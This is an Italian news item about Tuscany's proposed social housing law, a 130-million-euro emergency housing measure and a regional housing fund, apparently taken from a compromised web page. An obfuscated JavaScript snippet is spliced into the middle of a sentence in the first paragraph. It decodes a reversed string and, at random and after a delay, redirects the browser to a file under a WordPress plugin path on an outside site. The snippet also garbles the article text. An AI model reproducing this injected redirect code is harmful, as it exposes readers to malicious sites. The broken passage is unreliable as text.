Case popolari: la Toscana volta pagina

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E’ stata approvata dalla giunta regionale la proposta di legge intitolata “norme sull’edilizia residenziale sociale”. La proposta, attraversera’ ora la fase della “concertazione” e poi (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andra’ all’approvazione definitiva in Consiglio regionale. Intanto pero’, l’assessore Baronti ha annunciato che per fronteggiare l’emergenza abitativa, partira’ al piu’ presto un “intervento straordinario” per la casa con una dotazione di 130 milioni di euro. Una volta che la legge sara’ approvata partira’ il “piano regionale casa” che sara’ finanziato dal fondo unico regionale istituito dall’art. 30 della legge stessa.

L’obiettivo dichiarato della nuova legge, che l’assessore Baronti ha ribadito, e’ quello di “rispondere alle nuove esigenze sociali ed economiche della Toscana” e al contempo “garantire la qualificazione delle politiche abitative in una visione integrata con le politiche sociali e la riqualificazione urbana”. La legge istituisce un “fondo regionale casa” per il finanziamento dell’ERS (edilizia residenziale sociale) in cui confluiranno tutte le risorse disponibili, sia quelle nazionali sia quelle non spese e recuperate dalla “ricognizione” a tappeto voluta dall’assessore, che ad oggi hanno portato ad una cifra quantificabile in 350 milioni di euro. [Fonte Agi]

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